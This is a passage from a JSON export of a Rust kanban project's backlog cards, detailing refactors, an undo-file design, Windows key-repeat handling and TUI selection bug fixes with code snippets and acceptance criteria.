        "description": "## Why\n\nAfter KAN-394 moved the status ↔ completion-column orchestration from\nthe TUI handlers up into the service layer (`KanbanContext::update_card`,\n`move_card`, `update_cards`, `move_cards`), several pure helpers in\n`kanban_domain::card_lifecycle` lost all their production callers.\nThey remain in the codebase only to support their own inline unit tests.\n\nVerified at HEAD with:\n\n```\ngrep -rn \"compute_completion_toggle\" crates/ | grep -v \"fn compute_completion_toggle\\|card_lifecycle.rs\"\n# (empty — zero external callers)\n\ngrep -rn \"\\.new_status\" crates/kanban-tui/src/ crates/kanban-service/src/ \\\n                       crates/kanban-cli/src/ crates/kanban-mcp/src/\n# (empty — zero readers of CardMoveResult.new_status)\n\ngrep -rn \"CompletionToggleResult\" crates/ | grep -v card_lifecycle\n# (empty — type is module-private in practice)\n```\n\nCarrying dead code creates two ongoing costs:\n\n1. The inline unit tests give a false sense that the helper is\n   exercised — but no production path runs through it.\n2. The `new_status` field on `CardMoveResult` is a footgun: a future\n   caller might read it expecting the lifecycle sync, not realise the\n   service layer already chains the same logic, and end up double-syncing.\n\n## What\n\nDelete the dead surface from `crates/kanban-domain/src/card_lifecycle.rs`:\n\n- `pub fn compute_completion_toggle(...) -> Option<CompletionToggleResult>`\n- `pub struct CompletionToggleResult { new_status, target_column_id, new_position }`\n- The `new_status: Option<CardStatus>` field on `pub struct CardMoveResult`\n  (keep `target_column_id` and `new_position` — those *are* used)\n- The inline tests under `// --- compute_completion_toggle ---` and the\n  status-flip-related assertions inside the `compute_card_column_move` tests\n- Update `compute_card_column_move` to return only `target_column_id` and\n  `new_position` — the status sync is no longer this function's responsibility\n\nKeep:\n\n- `target_column_for_status` and `target_status_for_column_move` — both\n  used by `KanbanContext::compute_target_column_for_status` and\n  `KanbanContext::compute_target_status_for_move`\n- `compute_card_column_move` itself — still used by\n  `crates/kanban-tui/src/handlers/card_handlers.rs::handle_move_card` and\n  `move_selected_cards` to resolve left/right direction → target column\n- `sorted_board_columns`, `next_position_in_column`,\n  `compact_column_positions`, `should_auto_complete_new_card`,\n  `resolve_restore_column`, `migrate_sprint_logs`\n\n## Where the wiring lives\n\n- `crates/kanban-domain/src/card_lifecycle.rs` — delete the items above,\n  shrink `CardMoveResult` to two fields, update its docstring.\n- `crates/kanban-tui/src/handlers/card_handlers.rs` (lines ~425, ~502) —\n  no code change needed: both call sites already ignore `result.new_status`\n  after KAN-394's refactor. Confirm with `cargo build` after the field drop.\n- Update the module-level doc comment at the top of `card_lifecycle.rs`\n  if it references the deleted items.\n\n## Acceptance\n\n- `compute_completion_toggle` / `CompletionToggleResult` symbols are\n  fully gone from the codebase (`rg compute_completion_toggle` returns\n  zero hits, ditto `CompletionToggleResult`).\n- `CardMoveResult` has exactly two fields: `target_column_id`,\n  `new_position`.\n- `cargo build --workspace`, `cargo test --workspace`,\n  `cargo clippy --workspace --all-targets -- -D warnings`, and\n  `cargo fmt --check` all clean.\n- No new test cases needed (we're deleting tests, not adding behaviour);\n  the existing `crates/kanban-service/tests/completion_sync.rs` and\n  `crates/kanban-tui/tests/batch_completion_sync_tests.rs` already lock\n  in the actual lifecycle behaviour.\n\n## Commit shape\n\nSingle `chore(domain): drop dead lifecycle helpers superseded by KAN-394`\ncommit. Roughly:\n\n- ~60 lines removed in `card_lifecycle.rs` (function body + struct +\n  inline tests + the `new_status` computation inside\n  `compute_card_column_move`)\n- No production callers touched\n- Test count drops by ~6 inline tests; service + tui integration tests\n  unchanged\n\n## Notes / Out of scope\n\n- This does **not** touch `target_column_for_status` or\n  `target_status_for_column_move` — those are the live helpers the\n  service layer now depends on.\n- This does **not** revisit the auto-sync semantics — that's a separate\n  follow-up (configurability: KAN-432).\n- If a future contributor wants the toggle-completion shape back, they\n  should reach for the service-layer method directly (`update_card`\n  with `status` set), not reintroduce the helper.",
        "due_date": null,
        "id": "b7d7fe23-a60f-4f36-b5a7-df415cc79ac0",
        "points": 2,
        "position": 197,
        "priority": "Low",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-11T23:24:13.846368888Z",
            "status": "Active"
          }
        ],
        "status": "Todo",
        "title": "chore(domain): drop dead lifecycle helpers superseded by KAN-394",
        "updated_at": "2026-05-11T23:24:13.846369317Z"
      },
      {
        "card_number": 411,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-08T22:21:52.554877234Z",
        "description": "## Concept\n\nThe command log lives in-memory and is session-scoped (KAN-405). For users who want cross-session undo without sacrificing a clean data file, we can borrow nvim's approach: a separate, optional undo file that stores the command log independently from the data layer. The data file stays clean and human-readable; the undo file is an ephemeral sidecar that the user can opt into, delete freely, and version-control separately or ignore entirely.\n\n## How nvim does it\n\nnvim writes a .un~ file alongside each edited file. It stores a tree of undo/redo branches. The file is silently ignored if missing or corrupted. Kanban should follow the same contract: the undo file is opt-in, best-effort, and never required for correct operation.\n\n## Proposed design\n\n### File location and naming\n\n- Default: same directory as the data file with a suffix, e.g. board.json -> board.json.undo\n- Configurable via AppConfig: undo_dir = ~/.local/share/kanban/undo/ with filenames derived from the data file path hash\n- If the undo file cannot be read or is malformed, silently discard it and start with a clean slate\n\n### File format\n\nJSON Lines or a simple binary envelope (baseline snapshot + ordered command batches):\n\n{\n  format_version: 1,\n  data_file_hash: sha256 of the data file path (for validation),\n  session_id: uuid of the session that wrote this file,\n  baseline: <Snapshot as JSON>,\n  commands: [ [batch0_cmd0, ...], [batch1_cmd0, ...], ... ]\n}\n\nThe baseline is the snapshot at the time the undo file was started. Commands are the ordered batches applied after that baseline. This is exactly the in-memory state of KanbanContext serialised to disk — so loading it is a straightforward deserialise and populate.\n\n### UndoStore trait (new, in kanban-persistence or kanban-service)\n\npub trait UndoStore: Send + Sync {\n    fn load(&self) -> KanbanResult<Option<UndoState>>;\n    fn save(&self, state: &UndoState) -> KanbanResult<()>;\n    fn clear(&self) -> KanbanResult<()>;\n}\n\npub struct UndoState {\n    pub baseline: Snapshot,\n    pub commands: Vec<Vec<Command>>,\n    pub cursor: usize,\n}\n\nImplementations:\n- NullUndoStore: no-op (default, current behaviour)\n- FileUndoStore: reads/writes the sidecar file described above\n\n### Integration in KanbanContext\n\nOn open: if an UndoStore is configured, call load(). If it returns Some(state), populate baseline_snapshot, command log, and undo_cursor from it. If it returns None or errors, fall back to a clean session.\n\nOn execute/undo/redo: after any state change, call save() asynchronously (debounced, same as the main save worker). Errors are logged but not fatal.\n\nOn session close / clear_history: call clear() to delete the undo file so it does not accumulate stale state.\n\n### Activation\n\nOpt-in via config:\n\n[undo]\nenabled = true          # default: false\ndir = ~/.local/share/kanban/undo   # optional, defaults to data file directory\n\nOr via CLI flag: kanban --undo-file board.json.undo\n\n### Safety properties\n\n- The undo file is never required for data integrity. Deleting it is always safe.\n- If the data file changes between sessions (e.g. external edit, migration), the baseline hash check fails and the undo file is discarded.\n- The undo file is not committed to version control (add *.undo to .gitignore in project templates).\n- Undo file writes use atomic rename, same as the main JSON file.\n\n## Relationship to other cards\n\n- KAN-405: established that the command log must not be in the data file. This card is the opt-in escape hatch for users who want cross-session undo without polluting kanban.json.\n- KAN-410: message-based bus for cross-client undo — complementary, not competing. Bus = live sync; undo file = crash recovery and single-user cross-session undo.",
        "due_date": null,
        "id": "6df0d7be-7dc3-4a25-8b8e-850c692a7f20",
        "points": null,
        "position": 197,
        "priority": "Low",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-10T17:33:14.477270845Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Design: separate undo file for optional cross-session command log persistence",
        "updated_at": "2026-05-10T17:33:14.477271146Z"
      },
      {
        "card_number": 436,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-11T23:39:08.420337295Z",
        "description": "## Why\n\nAfter KAN-434 collapsed `update_card` and `assign_card_to_sprint` into\nshorthands over their plural counterparts, code review surfaced an\ninefficiency in the underlying pattern: three batch service methods on\n`KanbanContext` compute their `KanbanResult<usize>` return value by\n**reading the backend twice** (before-the-mutation count and\nafter-the-mutation count), then returning the delta.\n\nThe three offenders, all in `crates/kanban-service/src/context.rs`:\n\n```\n:1048  fn archive_cards            — list_archived_cards() × 2\n:1057  fn move_cards               — list_cards_by_column(column_id) × 2\n:1145  fn assign_cards_to_sprint   — list_cards_by_sprint(sprint_id) × 2\n```\n\nThe before/after pattern is the only honest way to compute \"how many\ncards were actually changed\" given today's command surface — some of\nthe input IDs may already be on the sprint / already archived /\nalready in the target column (no-ops), and some may be invalid (the\ndomain commands' `filter_valid_card_ids` helper silently skips them).\nCounting the delta on the backend is correct, but each of those\n`list_*` calls is wasted work that the underlying domain command\nalready knows the answer to.\n\nThere's a second cost surfaced specifically by KAN-434's collapse:\nthe singular wrappers (`assign_card_to_sprint`, and the pre-existing\n`archive_card`) call the plural to get the `usize`, discard it, then\nfetch the card. So for the single-card path the two reads are pure\noverhead — the singular doesn't even use the count.\n\nOn in-memory and JSON backends the cost is microseconds. On SQLite\nit's two additional indexed queries per call. Negligible per\noperation; becomes measurable at high frequency or large boards.\n\n## What\n\nPush the mutation count down into the domain command's execute path\nso the service can return it directly without re-reading the backend.\n\n### Domain-layer change (the load-bearing part)\n\nIn `crates/kanban-domain/src/commands/card_commands.rs`, change the\nthree offending commands' `execute` from `KanbanResult<()>` to\n`KanbanResult<usize>`:\n\n- `ArchiveCards::execute`         (line ~254)\n- `MoveCards::execute`            (line ~294)\n- `AssignCardsToSprint::execute`  (line ~336)\n\nEach command already knows which IDs it actually mutated (it calls\n`filter_valid_card_ids` and iterates them). Returning that count is a\nlocal change inside each `execute` body — `Ok(valid_ids.len())`\ntypically.\n\n### CardCommand enum dispatch\n\n`crates/kanban-domain/src/commands/card_commands.rs:27` —\n`CardCommand::execute` currently returns `KanbanResult<()>`. It needs\nto either (a) also become `KanbanResult<usize>` with non-batch arms\nreturning `Ok(0)` or `Ok(1)`, or (b) keep its `()` return and add a\nseparate `executed_count` method per command. Option (a) is more\nhonest — every mutation is \"n entities affected\" — but it touches the\ncommand-log replay path. Option (b) keeps the existing replay code\npath untouched.\n\n**Recommendation: Option (a).** It generalises naturally: `CreateCard`\nreturns 1, `DeleteCard` returns 1, `UpdateCard` returns 1, etc. Both\noptions are tracked here so the implementer can pick.\n\n### Service-layer cleanup\n\nIn `crates/kanban-service/src/context.rs::execute(Vec<Command>)`\n(line 158), propagate the per-command count out so callers can sum it.\nThen rewrite the three plurals:\n\n```rust\nfn archive_cards(&mut self, ids: Vec<Uuid>) -> KanbanResult<usize> {\n    let counts = self.execute(vec![Command::Card(CardCommand::Archive(ArchiveCards { ids }))])?;\n    Ok(counts.into_iter().sum())  // exactly one command, one count\n}\n\nfn move_cards(&mut self, ids: Vec<Uuid>, column_id: Uuid) -> KanbanResult<usize> {\n    let chained_status_updates = self.chained_status_updates_for_batch_move(&ids, column_id)?;\n    let mut batch = vec![Command::Card(CardCommand::MoveMultiple(MoveCards { ids, column_id }))];\n    for (card_id, new_status) in chained_status_updates {\n        batch.push(/* chained UpdateCard */);\n    }\n    let counts = self.execute(batch)?;\n    Ok(counts[0])  // first command is the MoveCards batch; status flips are not \"moves\"\n}\n\nfn assign_cards_to_sprint(&mut self, ids: Vec<Uuid>, sprint_id: Uuid) -> KanbanResult<usize> {\n    let counts = self.execute(vec![Command::Card(CardCommand::AssignToSprint(\n        AssignCardsToSprint { ids, sprint_id }\n    ))])?;\n    Ok(counts.into_iter().sum())\n}\n```\n\nThe `KanbanContext::execute` signature changes from\n`fn execute(&mut self, commands: Vec<Command>) -> KanbanResult<()>`\nto\n`fn execute(&mut self, commands: Vec<Command>) -> KanbanResult<Vec<usize>>`.\n\nThat return shape lets the caller pick whichever index they care about\n(the first command, the sum, etc.) without forcing every caller to\ncare about the count.\n\n### `archive_card` and the singulars naturally cheapen\n\nAfter this change, `assign_card_to_sprint` (a shorthand over\n`assign_cards_to_sprint` post-KAN-434) and `archive_card` (a shorthand\nover `archive_cards`) no longer pay for the wasted reads. The count\nthey discard was the wasted work; removing the source of the count\nremoves the waste.\n\n## Where the wiring lives\n\n| File | Change |\n|---|---|\n| `crates/kanban-domain/src/commands/card_commands.rs` | `ArchiveCards::execute`, `MoveCards::execute`, `AssignCardsToSprint::execute` return `KanbanResult<usize>`. Same change propagates to the `CardCommand::execute` dispatch arm depending on Option (a) vs (b). |\n| `crates/kanban-domain/src/commands/mod.rs` | If Option (a): `Command::execute` returns `KanbanResult<usize>` from its match. |\n| `crates/kanban-service/src/context.rs` | `execute(Vec<Command>)` returns `KanbanResult<Vec<usize>>` (or `KanbanResult<usize>` if collapsed at the service boundary — caller's choice). Plurals at `:1048`, `:1057`, `:1145` use the returned counts instead of before/after delta queries. |\n\nThe command-log replay machinery on the persistence side\n(`kanban-persistence-*` crates) shouldn't care about the count —\nreplay applies commands for their side effects, not their return\nvalues. Confirm by `grep`ping for callers of `Command::execute` /\n`CardCommand::execute` outside `KanbanContext` to make sure the\nsignature change doesn't break them.\n\n## Reuse — already in place\n\n- `filter_valid_card_ids` at\n  `crates/kanban-domain/src/commands/mod.rs::CommandContext` — every\n  affected command already calls this to compute the actually-mutated\n  ID set. The count is literally `valid_ids.len()` at the point each\n  command finishes its body.\n- `KanbanContext::execute` infrastructure — atomic batch, rollback,\n  undo cursor. Unchanged in behaviour; only the return type widens.\n\n## Acceptance\n\n- The three plurals (`archive_cards`, `move_cards`,\n  `assign_cards_to_sprint`) no longer call `list_*` for the count.\n- Existing tests in `crates/kanban-service/tests/`,\n  `crates/kanban-mcp/tests/`, and the contract-test helpers continue\n  to pass without modification — the count semantics are preserved.\n- Add a microbench or instrumented log assertion (optional) showing\n  that a single-card `assign_card_to_sprint` makes one backend\n  mutation call and zero count-queries.\n- `cargo test --workspace`, `cargo clippy --workspace --all-targets -- -D warnings`,\n  and `cargo fmt --check` all clean.\n\n## Behaviour change for existing callers\n\n**None.** The return value (`usize`, count of cards actually mutated)\nis identical to what the before/after delta produced. Pure\nperformance refactor.\n\n## Risk\n\nMedium. Touches the `Command::execute` signature, which is a\nload-bearing trait used by:\n\n- `KanbanContext::execute` (the atomic batch executor)\n- The undo/redo replay path\n- Any future cross-client command-log work\n\nThe change is mechanical but wide. Recommended approach:\n\n1. Start with Option (b) on a feature branch: add per-command\n   `executed_count()` methods alongside the existing `()` returns.\n   This is additive — no existing caller breaks.\n2. Switch the three service plurals to use the new method.\n3. Verify all tests + the undo/redo path still work.\n4. **Then** consider whether to converge on Option (a) (uniform\n   `KanbanResult<usize>` from every `execute`) as a second step.\n\nDoing Option (a) directly is shorter overall but harder to bisect if\nsomething breaks.\n\n## Notes / Out of scope\n\n- This card does **not** address the `move_card` collapse blocker\n  from KAN-434 (the `position: Option<i32>` mismatch with `move_cards`).\n  That's a separate concern.\n- This card does **not** introduce per-card success/failure detail —\n  the `BatchOperationResult` returned by `*_detailed` inherent methods\n  on `KanbanContext` already covers that case. Those methods have\n  their own pattern and are out of scope unless the implementer\n  decides to unify.\n- The `update_cards` plural (post-KAN-394) does NOT have this issue —\n  it returns `count = updates.len()` upfront because each input maps\n  one-to-one to an `UpdateCard` command. Don't touch it.\n\n## Relationship to other cards\n\n- **KAN-434** (just merged) is the reason this gap is visible — the\n  singular shorthands discard the count and pay for two extra reads\n  per call. Resolving this card eliminates that overhead.\n- **KAN-432** (per-board auto-sync opt-out) is independent. Both\n  changes touch `update_cards` but in different ways.\n- **KAN-433** (drop dead lifecycle helpers) is independent.\n\n## Commit shape\n\nIf Option (b) (additive):\n\n1. `feat(domain): card batch commands expose executed_count()` — add\n   the new method to `ArchiveCards`, `MoveCards`,\n   `AssignCardsToSprint`. Default to `0` for non-batch commands.\n2. `refactor(service): replace before/after delta with command\n   executed_count()` — switch the three plurals.\n3. `chore: add changeset for KAN-43x`\n\nIf Option (a) (signature change):\n\n1. `refactor(domain): Command::execute returns KanbanResult<usize>` —\n   wide mechanical change.\n2. `refactor(service): plurals use returned counts instead of\n   before/after delta` — switch the three plurals.\n3. `chore: add changeset for KAN-43x`\n\nEither way: write the test commit first when introducing the new\nreturn shape, per the project TDD convention.",
        "due_date": null,
        "id": "96355729-f423-4d63-9b82-2ac75160c3c1",
        "points": 3,
        "position": 198,
        "priority": "Low",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Todo",
        "title": "refactor(domain): commands return mutation count to remove before/after delta queries in service plurals",
        "updated_at": "2026-05-11T23:39:08.421237072Z"
      },
      {
        "card_number": 412,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-09T21:35:49.754821502Z",
        "description": "Follow-up from PR #247 (Amanda Frost's Windows duplicate-keypress fix).\n\nThe fix in crates/kanban-tui/src/events.rs filters non-Press KeyEventKind variants on Windows. It was merged without tests because the EventHandler path polls crossterm directly, which makes isolated testing awkward.\n\nScope:\n- Extract the filtering predicate into a small pure function (e.g. should_accept_key(&KeyEvent) -> bool) so it can be unit-tested without a real event loop.\n- Add unit tests covering: Press accepted on all platforms; Repeat/Release dropped on Windows; Repeat/Release accepted on Linux (cfg-gated tests).\n\nNote: the question of whether `Repeat` should be accepted (held-key behavior under Windows Terminal VT-input mode) is tracked separately in KAN-413. Pick the predicate behavior that matches the resolution of that ticket — if KAN-413 is still open when this is picked up, mirror the current filter exactly so tests lock in present behavior.",
        "due_date": null,
        "id": "97b225c5-694d-4811-9621-3793767d9b73",
        "points": null,
        "position": 198,
        "priority": "Low",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-10T17:33:14.477275673Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add tests for Windows KeyEventKind::Press filter in events.rs",
        "updated_at": "2026-05-10T17:33:14.477276009Z"
      },
      {
        "card_number": 437,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-11T23:58:32.501238350Z",
        "description": "## Behaviour\n\nIn ColumnView and GroupedByColumn views, pressing `h` or `l` to move a\ncard across columns leaves the selector on whatever card was previously\nselected in the **target** column, instead of following the moved card.\nEquivalently, multi-selecting cards and pressing `h`/`l` to move them\nleaves the selector in the wrong place.\n\n## Expected\n\nAfter `h`/`l`, the selector follows the moved card into its new column.\nFor the multi-select case, the selector follows the *first* selected\ncard (matching the existing implementation intent at\n`crates/kanban-tui/src/handlers/card_handlers.rs:535` —\n`first_card_id` is computed precisely for this purpose).\n\n## Why it happens\n\nSame root cause as KAN-403, just at the move-card handlers:\n\n- `crates/kanban-tui/src/handlers/card_handlers.rs:404::handle_move_card`\n  ends with `self.select_card_by_id(card_id);` at line 480.\n- `crates/kanban-tui/src/handlers/card_handlers.rs::move_selected_cards`\n  ends with `self.select_card_by_id(card_id);` at line 536.\n\nBy the time `select_card_by_id` runs:\n\n1. `self.ctx.move_card(card_id, target_column_id, None)` has updated the\n   model — the card lives in `target_column_id` now.\n2. The column-selection navigation block (lines 487–514) has shifted\n   `self.dialog_input.column_selection` to the target column in\n   ColumnView, so the *active task list* is now the target column's.\n3. But the target column's `CardList::cards` vec is the cached one from\n   the previous `prepare_frame()` — it does NOT yet contain the moved\n   card's ID.\n4. `select_card_by_id` → `task_list.select_card(card_id)` searches\n   `self.cards`, doesn't find it, returns `false` silently.\n5. The next render-loop `prepare_frame()` refreshes the task list and\n   `CardList::update_cards` re-applies the saved `current_card` (the\n   previously selected card in the target column). The moved card is\n   ignored.\n\nIn **Flat** view this bug doesn't manifest — the active task list is\nglobal and the card is in it before and after the move.\n\n## Reproduction\n\n```rust\n// Add to crates/kanban-tui/tests/stale_model_regression_tests.rs\n#[test]\nfn test_move_card_right_selects_moved_card_in_kanban_view() {\n    let mut app = App::test_default();\n    let board = app.ctx.create_board(\"Board\".to_string(), None).unwrap();\n    let _todo = app.ctx.create_column(board.id, \"Todo\".to_string(), Some(0)).unwrap();\n    let _doing = app.ctx.create_column(board.id, \"Doing\".to_string(), Some(1)).unwrap();\n    let _done = app.ctx.create_column(board.id, \"Done\".to_string(), Some(2)).unwrap();\n    app.prepare_frame();\n    app.selection.board.set(Some(0));\n    app.selection.active_board_index = Some(0);\n    app.focus.active = Focus::Cards;\n\n    // Two cards in Todo so there's a \"prior selection\" in Doing's\n    // post-move task list to clobber the moved card's selection.\n    app.input.set(\"Anchor\".to_string());\n    app.create_card();\n    app.prepare_frame();\n    app.input.set(\"Mover\".to_string());\n    app.create_card();\n    app.prepare_frame();\n    let mover_id = app.get_selected_card_id().unwrap();\n\n    // Move \"Mover\" right: Todo → Doing.\n    app.handle_move_card_right();\n    app.prepare_frame();\n\n    let selected = app.get_selected_card_id().expect(\"a card is selected\");\n    assert_eq!(\n        selected, mover_id,\n        \"selector must follow the moved card into the target column, not stay on a prior card\"\n    );\n}\n```\n\nA symmetric test should exist for `move_selected_cards` (multi-select\n+ `l`).\n\n## Fix — option 1: mirror KAN-403 per-handler\n\nInsert `self.prepare_frame()` right before each `select_card_by_id`\ncall at the two sites above. One-line change per call site, two total.\nMirrors the fix landed for `create_card` in\n[KAN-403 PR](https://github.com/fulsomenko/kanban/pull/260).\n\n```rust\n// handle_move_card, around line 480:\nself.prepare_frame();\nself.select_card_by_id(card_id);\n\n// move_selected_cards, around line 536:\nif let Some(card_id) = first_card_id {\n    self.prepare_frame();\n    self.select_card_by_id(card_id);\n}\n```\n\n## Fix — option 2: centralize in `select_card_by_id` (preferred)\n\nSee companion card (filed alongside this one) for refactoring\n`crates/kanban-tui/src/app/mod.rs:1454::select_card_by_id` to refresh\nthe task list internally. That eliminates every per-handler workaround,\nincluding the one already in `create_card`. Both this card's bug and\nKAN-403's are subsumed.\n\nIf the companion card lands first, this card is automatically\nresolved — close it as a duplicate.\n\n## Acceptance\n\n- Test `test_move_card_right_selects_moved_card_in_kanban_view` (and a\n  matching `test_move_selected_cards_right_selects_first_moved_card`)\n  passes.\n- The existing `test_create_card_selects_newly_created_card_when_prior_selection_exists`\n  (added in KAN-403) stays green.\n- `cargo test --workspace`, `cargo clippy --workspace --all-targets -- -D warnings`,\n  `cargo fmt --check` all clean.\n- Manual sanity: `kanban /tmp/test.json`, create two cards in Todo,\n  select the second, press `l`. Expected: focus follows to Doing\n  column, the moved card stays selected.\n\n## Files modified\n\n| File | Change |\n|---|---|\n| `crates/kanban-tui/src/handlers/card_handlers.rs` | Insert `self.prepare_frame()` before `select_card_by_id` at line 480 (`handle_move_card`) and line 536 (`move_selected_cards`). Two lines added. |\n| `crates/kanban-tui/tests/stale_model_regression_tests.rs` | Two new tests (single-card and multi-select). |\n\n## Architectural principle\n\nSelection / cursor logic stays inside the TUI app. The fix lives in\n`crates/kanban-tui/src/handlers/card_handlers.rs`; nothing leaks into\n`kanban-service` or `kanban-domain`. Verified during KAN-403 — no\nservice- or domain-layer code references `select_card_by_id`,\n`active_card`, or `selected_card`.\n\n## Risk\n\nVery low. Same shape as the KAN-403 fix that just merged. The added\n`prepare_frame` call is idempotent — the next render-loop call is\nredundant but harmless.\n\n## Relationship to other cards\n\n- **KAN-403** (PR #260): identical bug at `create_card`, now fixed.\n  This card is the natural follow-up surfaced by KAN-403's plan\n  (\"`handle_move_card` may have a related bug in ColumnView\").\n- **Companion refactor card** (filed alongside): centralize the\n  refresh in `select_card_by_id`. Implementing the companion subsumes\n  this card.\n\n## Commit shape\n\nIf going with option 1 (per-handler):\n\n1. `test(tui): cover selector-follows-card on h/l move (red)` — two new\n   tests, both failing.\n2. `fix(tui): refresh task list before selecting moved card` —\n   two-line insertion.\n3. `chore: add changeset for KAN-NNN`.\n\nIf going with option 2: see companion card.",
        "due_date": null,
        "id": "8da7af03-a2c7-4acc-ac47-44380f829620",
        "points": 2,
        "position": 199,
        "priority": "High",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Todo",
        "title": "fix(tui): selector does not follow card after move across columns in kanban view",
        "updated_at": "2026-05-11T23:58:32.501409979Z"
      },
      {
        "card_number": 413,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-09T21:37:02.506655411Z",
        "description": "Follow-up from PR #247 (Amanda Frost's Windows duplicate-keypress fix).\n\nThe fix in crates/kanban-tui/src/events.rs filters with `key.kind != KeyEventKind::Press` on Windows, which also drops `KeyEventKind::Repeat` events. Amanda confirmed via manual testing that holding a key still repeats — the legacy Windows console typically emits multiple `Press` events at the OS level rather than `Repeat`, so this is fine today.\n\nHowever, newer Windows Terminal can run with VT-input mode enabled, in which crossterm may emit `KeyEventKind::Repeat` events for held keys. Under the current filter those would be silently dropped, breaking key-repeat for Windows Terminal users with VT input on.\n\nScope:\n- Reproduce: enable VT input mode in Windows Terminal and verify whether crossterm emits Repeat events for held keys.\n- If yes: change the filter to `key.kind == KeyEventKind::Release` (drop only Release), or equivalently `matches!(key.kind, KeyEventKind::Press | KeyEventKind::Repeat)`.\n- If the behavior is configuration-dependent, document the trade-off and pick the safer default.\n\nReferences:\n- https://github.com/veeso/tui-realm/issues/54\n- https://github.com/ratatui/ratatui/issues/347\n- https://docs.rs/crossterm/latest/crossterm/event/struct.KeyEvent.html",
        "due_date": null,
        "id": "9805d268-c647-4d1f-9079-9f07ec13ac46",
        "points": null,
        "position": 199,
        "priority": "Low",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-10T17:33:14.477272727Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Investigate KeyEventKind::Repeat handling on Windows Terminal VT-input mode",
        "updated_at": "2026-05-10T17:33:14.477272926Z"
      },
      {
        "card_number": 414,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-09T21:48:30.696400645Z",
        "description": "Follow-up from PR #247 (Amanda Frost's Windows duplicate-keypress fix).\n\nAmanda noted that the 'Areas for Contribution' section of CONTRIBUTING.md does not explicitly mention that bug fixes are accepted, which made her hesitant to open the PR. Update the section to state plainly that fixes — especially platform-portability fixes — are welcome.\n\nScope:\n- Edit the 'Areas for Contribution' section of CONTRIBUTING.md to call out bug fixes as a welcomed contribution category alongside features.\n- Consider adding a brief note that cross-platform / portability fixes are particularly valued.",
        "due_date": null,
        "id": "0e39dfaa-d836-40fe-b624-edf6a69e4766",
        "points": null,
        "position": 200,
        "priority": "Low",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-10T17:33:14.477267379Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Update CONTRIBUTING.md to explicitly welcome bug fixes",
        "updated_at": "2026-05-10T17:33:14.477267740Z"
      },
      {
        "card_number": 438,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-11T23:58:32.539930381Z",
        "description": "## Why\n\nKAN-403 fixed a TUI regression where `create_card` left the selector on\nthe prior card instead of jumping to the new one. The root cause was a\nstale view-layer task list at the moment `select_card_by_id` ran. The\ncompanion card (filed alongside this one) calls out the same shape at\n`handle_move_card` and `move_selected_cards`.\n\nThe pattern recurs every time a handler:\n\n1. Mutates the model in a way that adds a card to (or moves a card\n   between) view-layer task lists, AND\n2. Calls `select_card_by_id(card_id)` before the next render-loop\n   `prepare_frame()` has refreshed the task list.\n\nToday the workaround is local to each handler: insert\n`self.prepare_frame()` right before `self.select_card_by_id(...)`.\nThat works but it duplicates the same fix across N handlers, and any\nfuture handler that forgets to add it will silently regress the\nselection behaviour.\n\nThe cleaner architecture: make `select_card_by_id` itself responsible\nfor ensuring the active task list is fresh. Selection / cursor logic\nalready lives entirely inside the TUI app (verified during KAN-403 —\nno other crate touches it) and `select_card_by_id` is the canonical\nentry point for \"the user wants card `X` selected\". Refreshing the\ntask list before searching for `X` is part of that contract.\n\n## What\n\nModify `crates/kanban-tui/src/app/mod.rs:1454::select_card_by_id` to\ncall `self.prepare_frame()` before delegating to\n`task_list.select_card(card_id)`:\n\n```rust\npub fn select_card_by_id(&mut self, card_id: uuid::Uuid) {\n    self.prepare_frame();\n    if let Some(task_list) = self.view.strategy.get_active_task_list_mut() {\n        task_list.select_card(card_id);\n    }\n}\n```\n\nThen remove the now-redundant `self.prepare_frame()` calls from:\n\n- `crates/kanban-tui/src/handlers/card_handlers.rs::create_card` (the\n  one inserted by KAN-403 at line 390).\n- `crates/kanban-tui/src/handlers/card_handlers.rs::handle_move_card`\n  and `move_selected_cards` (only if the companion card landed first\n  and added them — otherwise they were never inserted).\n\n## Where the wiring lives\n\n- `crates/kanban-tui/src/app/mod.rs:1454` — single method change. ~3\n  lines added (the `prepare_frame()` call + a brief doc comment if\n  warranted).\n- `crates/kanban-tui/src/handlers/card_handlers.rs:390` — remove the\n  redundant call inserted by KAN-403.\n- Any other handler that's accumulated the same workaround 